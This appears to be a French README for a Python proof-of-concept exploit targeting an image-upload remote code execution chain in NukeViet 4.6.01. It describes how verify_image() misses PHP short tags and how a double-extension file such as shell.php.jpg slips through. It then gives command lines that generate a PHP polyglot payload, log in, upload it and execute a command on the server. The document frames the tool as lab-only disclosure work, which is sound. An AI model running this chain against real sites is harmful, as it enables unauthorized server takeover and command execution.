
PoC Python pour la chaîne RCE d'upload d'images de NukeViet 4.6.01 : génère une charge utile polyglotte PHP et, contre un laboratoire autorisé, se connecte, la téléverse et exécute une commande de preuve.
PoC de laboratoire autorisé pour la chaîne de téléversement d'image NukeViet signalée :
verify_image() ne détecte pas les balises courtes d'ouverture PHP (<?)..php interne..php qu'à la fin de l'URI.Ce dépôt ne contient aucun identifiant, jeton, cookie ni configuration de cible réelle. À exécuter uniquement contre un laboratoire possédé ou explicitement autorisé.
requestsInstaller la dépendance :
python3 -m pip install requests
Aucune requête réseau :
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
Le script effectue : connexion -> téléversement multipart -> extraction du chemin téléversé -> une requête de commande. Utilisez des commandes de preuve inoffensives telles que id ou whoami.
Le PoC ne démontre l'impact que lorsque la configuration exacte de la cible atteint l'exécution PHP. Une réussite de génération de charge utile ou une correspondance au niveau du code source ne prouve pas à elle seule une RCE à l'exécution. Ne l'exécutez pas contre des systèmes tiers.